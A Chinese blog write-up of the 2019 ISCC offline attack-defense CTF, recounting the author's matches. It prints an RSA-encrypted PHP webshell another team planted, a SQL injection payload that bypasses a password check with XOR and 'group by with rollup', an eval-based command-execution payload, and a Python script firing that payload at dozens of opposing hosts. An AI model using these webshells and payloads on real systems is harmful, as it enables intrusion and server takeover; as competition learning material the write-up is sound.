2019ISCC线下赛总结(一)

先吐槽一下这次比赛的运维,开始还在做着题呢,一看主页,what?咋有几个鲜红的大字捏?Hacked By Smi1e!!!,这几个字看的我发慌。再一看,hint文件也被改成了一句话木马,而且这木马还贼diao的样子。私地靶机被挂黑页,运维人员却说私地被攻下再攻回去就行了-_-shell被改,申请重置靶机也不同意,真是拿头攻啊。。。顺便吹一波Smile大佬,真是厉害

先放一下Smile大佬的木马,抽空研究一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
class Rsa {
private static $PUBLIC_KEY= '-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCy/QLPIu6m9Le5a1Jm8lYeHgiJ
bDEux/1BZuGwbDlXG68ph/CsaAHr7QNEoB0+mmo7Caimred973ikcKZArahSQzKU
IcEj3LXFT56lxo/Ur7/lJvADOQgZcfTOAxgeXyaflX0pEcosXTzJ7+9BBoG/zY1k
7r9Fnz9EpcNoHd4BdQIDAQAB
-----END PUBLIC KEY-----
';
private static function getPublicKey()
{
$publicKey = self::$PUBLIC_KEY;
return openssl_pkey_get_public($publicKey);
}

public static function publicDecrypt($encrypted = '')
{
if (!is_string($encrypted)) {
return null;
}
$crypto = '';
foreach (str_split(base64_decode($encrypted), 128) as $chunk) {
openssl_public_decrypt($chunk, $decryptData, self::getPublicKey());
$crypto .= $decryptData;
}
return $crypto;
}
}
$p=$_POST['p'];
if (md5(md5($p)) === '4ca5c0f57fc352fe9f3ecd094b9ea82a'){
$cmd=$_POST['c'];
$rsa = new Rsa();
$publicDecrypt = $rsa->publicDecrypt($cmd);
eval($publicDecrypt);
}
else{
echo '<font size="700" color="red">Hacked By Smi1e!!!</font>';
}

这RSA和双重md5看的我头皮发麻,看了一眼自己的@eval($_POST[‘t’])……

其次就是这次比赛的表现跟自己准备的有些不一样,比赛前想的流程,结果比赛的时候依旧手忙脚乱的,第一个靶机测了SQL注入大半个小时,得到了一堆过滤的关键词,还想着怎样绕过去获取数据库内容:

过滤:
or and | sleep benchmark union select - 逗号 () 

结果呢,测完后看了下response header,才看到有个hint.txt文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$sql="SELECT pwd FROM user WHERE uname = '{$_POST['uname']}'";
$query = mysqli_query($con,$sql);

if (mysqli_num_rows($query) == 1) {
$key = mysqli_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
echo "xxxxxxxxx";
}

else{
echo "你这密码不太对啊";
}
}

else if(mysqli_num_rows($query) == 0){
echo "你这密码不太对啊";
}
else{
echo "数据太多了";
}

这里要想绕过if($key['pwd'] == $_POST['pwd']),需要用到mysql的group by xxx with rollup,该语句作用如下:

with rollup: 在group分组字段的基础上再进行统计数据

测试如下:

mysql> select * from usersss;
+----+----------------------+----------+
| id | name                 | password |
+----+----------------------+----------+
|  5 | biubiu               | asdfg    |
|  1 | gtfly                | 66666    |
|  3 | gtfly                | 1234321  |
|  4 | biubiu               | adfdf1   |
|  2 | admin                | 123qaz   |
|  6 | admin                | newpass  |
|  7 | admin                | assa     |
|  8 | admin                | assa     |
|  9 | cat                  | miao     |
+----+----------------------+----------+
9 rows in set (0.03 sec)


mysql> select count(name) from usersss group by name with rollup;
+-------------+
| count(name) |
+-------------+
|           4 |
|           2 |
|           1 |
|           2 |
|           9 |
+-------------+
5 rows in set (0.03 sec)

可以看到,上面的最后一行的值为上面各行总和,但with rollup并不是计算总和的,它是根据前面查询所使用的函数来进行进一步的统计的;如果前面查询的内容没有用函数表示,那么会返回NULL:

mysql> select name from usersss group by name with rollup;
+--------+
| name   |
+--------+
| admin  |
| biubiu |
| cat    |
| gtfly  |
| NULL   |
+--------+
5 rows in set (0.04 sec)

由于这里if语句用的是弱等于,则可以让pwd字段值为空,使得NULL='',再在注入时使用group by pwd with rollup句式,即可使数据库中的pwd字段与post的pwd字段相等;还有在注入时需要绕过验证码,这一点跟ISCC线上赛的一道题是一样的,把cookie字段删掉,再把yzm字段置空即可

这里题目把or|都给过滤了,但可以使用异或进行操作:

mysql> select name from usersss where name = 0;
+----------------------+
| name                 |
+----------------------+
| biubiu               |
| gtfly                |
| gtfly                |
| biubiu               |
| admin                |
| admin                |
| admin                |
| admin                |
| cat                  |
+----------------------+
9 rows in set, 9 warnings (0.00 sec)

与下面使用异或操作是一样的:

mysql> select name from usersss where name = '' ^ '';
+----------------------+
| name                 |
+----------------------+
| biubiu               |
| gtfly                |
| gtfly                |
| biubiu               |
| admin                |
| admin                |
| admin                |
| admin                |
| cat                  |
+----------------------+
9 rows in set, 11 warnings (0.00 sec)

则构造payload:

uname='^ '' group by pwd with rollup limit 1 offset 1#&pwd=&yzm=

由于NULL会出现在最后一行,因此使用limit 1 offset 1获取最后一行数据:

mysql> select name from usersss where name = '' ^ '' limit 0,3;
+--------+
| name   |
+--------+
| biubiu |
| gtfly  |
| gtfly  |
+--------+
3 rows in set, 5 warnings (0.00 sec)

其与下面的句式功能是一样的:

mysql> select name from usersss where name = '' ^ '' limit 3 offset 1;
+--------+
| name   |
+--------+
| gtfly  |
| gtfly  |
| biubiu |
+--------+
3 rows in set, 6 warnings (0.00 sec)

由于这里过滤了逗号,因此需要使用limit x ofsset x的句式,这里尝试了limit 1 offset 1,发包发现成功,返回经utf-7编码的shell地址:

+ADg-d+ADIAMA-d+ADUANw-e+ADI-f+ADIAYgA5AGI-e+ADUALw-f+AGIAMwAw-e+ADcAMA-f+ADcAOAAxADMANAA4ADk-dd+AGE-e+ADcAOQBi-e+ADAANwA5ADIANQBhADMANABhAC4AcABoAHA-

访问路径,得到shell源码:

1
2
3
4
5
<?php
show_source(__FILE__);
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");
?>

利用变量覆盖和闭合括号,即可达到任意命令执行:

?a=a=1);system('getflag');//

即可得到flag

之后举手,拿到高地权限,可以攻打其他队伍了,不过其他队伍的ip真的是一点规律都没有,就想着把excel里的ip给提取出来,写的真是手忙脚乱,用python提取数据,写了一会发现写不出(菜的真实),后来累个半死,把所有ip都手动整理到脚本里面,,;还有比较坑的就是,拿到其他靶机权限后,自己的token只能执行一次,之后就会刷新,,所以还要不断的获取自己的token,最终脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import requests
import re

#自己的shell利用payload # http://192.168.52.74/8d20d57e2f2b9be5/fb30e70f7813489ddae79be07925a34a.php?a=a=1);system(%27getflag%27);//

port = '80' # 可变,端口号


headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
'Cookie': 'MacaronSession=947e88773bdd2e69'
}


#print(res.text)


for i in ['192.168.31.35', '192.168.31.82', '192.168.31.100', '192.168.31.149', '192.168.32.61', '192.168.32.92', '192.168.32.103', '192.168.32.144', '192.168.33.47',
'192.168.33.93',
'192.168.33.121',
'192.168.33.145',
'192.168.34.57',
'192.168.34.72',
'192.168.34.107',
'192.168.34.137',
'192.168.35.35',
'192.168.35.94',
'192.168.35.110',
'192.168.35.141',
'192.168.36.39',
'192.168.36.91',
'192.168.36.122',
'192.168.36.134',
'192.168.37.36',
'192.168.37.70',
'192.168.37.104',
'192.168.37.141',
'192.168.38.55',
'192.168.38.91',
'192.168.38.107',
'192.168.38.154',
'192.168.39.55',
'192.168.39.85',
'192.168.39.100',
'192.168.39.149',
'192.168.40.61',
'192.168.40.82',
'192.168.40.122',
'192.168.40.139',
'192.168.41.41',
'192.168.41.68',
'192.168.41.110',
'192.168.41.150',
'192.168.42.47',
'192.168.42.85',
'192.168.42.105',
'192.168.42.146',
'192.168.43.50',
'192.168.43.66',
'192.168.43.122',
'192.168.43.147',
'192.168.44.36',
'192.168.44.89',
'192.168.44.101',
'192.168.44.153',
'192.168.45.48',
'192.168.45.78',
'192.168.45.102',
'192.168.45.134',
'192.168.46.53',
'192.168.46.87',
'192.168.46.99',
'192.168.46.156',
'192.168.47.54',
'192.168.47.90',
'192.168.47.99',
'192.168.47.155',
'192.168.48.54',
'192.168.48.83',
'192.168.48.114',
'192.168.48.133',
'192.168.49.40',
'192.168.49.82',
'192.168.49.116',
'192.168.49.132',
'192.168.50.52',
'192.168.50.90',
'192.168.50.118',
'192.168.50.131',
'192.168.51.53',
'192.168.51.70',
'192.168.51.98',
'192.168.51.157',
'192.168.52.36',
'192.168.52.74',
'192.168.52.115',
'192.168.52.154',
'192.168.53.56',
'192.168.53.88',
'192.168.53.103',
'192.168.53.132',
'192.168.54.50',
'192.168.54.66',
'192.168.54.111',
'192.168.54.140']:
res = requests.get('http://172.16.100.5:4000/profile', headers=headers)
sig = re.findall('<td><strong id="team-sig">(.*?)</strong>', res.text)[0]
#print(sig)
path = "/8d20d57e2f2b9be5/fb30e70f7813489ddae79be07925a34a.php?a=a=1);system('hereiam -t {}');//".format(sig)
url = "http://{}:".format(i) + port + path
try:
res = requests.get(url)
if res.status_code == 200:
print(url + " connect shell success,resulr is: " + res.text)
else:
print("res.status_code:", res.status_code)

except Exception as e:
print(url + " connect shell fail: ", e)

最后也只拿到了差不多四轮的分数,如果自己处理数据的速度能够再快点就能多拿点分数了,唉,唉唉唉

第二个靶机也不知道哪里存在漏洞,最傻的就是开始一直在盯着页面的Hello World看,看半天什么源码、cookie、UA测了一遍啥也没有,看了几十分钟才想起来要扫端口。。。。

这次比赛虽然主办方有问题,但依旧有其他队伍拿到很高的分数,菜才是原罪啊!继续努力555555555555


参考链接:

https://www.freebuf.com/column/185591.html

https://cloud.tencent.com/developer/article/1345742